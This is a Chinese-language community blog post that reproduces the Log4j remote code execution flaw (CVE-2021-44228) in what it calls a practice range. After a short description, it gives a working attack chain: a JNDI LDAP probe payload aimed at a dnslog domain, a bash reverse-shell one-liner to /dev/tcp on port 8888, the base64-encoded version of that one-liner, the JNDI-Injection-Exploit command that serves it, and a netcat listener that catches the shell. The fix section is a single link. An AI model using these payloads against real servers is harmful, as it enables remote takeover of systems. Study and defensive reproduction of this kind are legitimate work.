Log4j远程代码执行漏洞(CVE-2021-44228) 漏洞复现

举报
Vista_AX 发表于 2023/07/19 21:51:45 2023/07/19
【摘要】 Log4j远程代码执行漏洞(CVE-2021-44228) 漏洞复现

01 漏洞描述


Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

image.png


由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。

经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

02 影响范围


Apache Log4j 2.x<=2.14.1

03 验证方式


已知靶场中payload参数存在漏洞问题,使用dnslog做验证,在dnslog中获得的域名

image.png


构造payload:${jndi:ldap://xxxxx.dnslog.cn/},将payload进行url编码之后再进行访问,可在dnslog查看到访问记录证明漏洞存在

image.png

04 利用方式


利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar反弹shell

工具下载链接:https://github.com/welk1n/JNDI-Injection-Exploit


image.png

1、将反弹shell的命令经过base64编码得到payload

 bash -i >& /dev/tcp/xxx.xxx.xxx/8888 0>&1

base64编码后得到

YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC85OTk5IDA+JjE=



2、在攻击服务器上启动JNDI,起 rmi 和 Ldap 服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A  xxx.xxx.xxx.xxx

参数说明:

-C参数:执行的bash命令

-c参数:执行的具体命令,用双引号引起来

-A参数:攻击机的IP

image.png

3、在VPS上启用nc,监听8888端口,而后利用payload开始攻击,获得反弹shell

image.png

image.png


05 修复方案


请联系厂商获取修复后的官方版本:https://github.com/apache/logginglog4j2

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。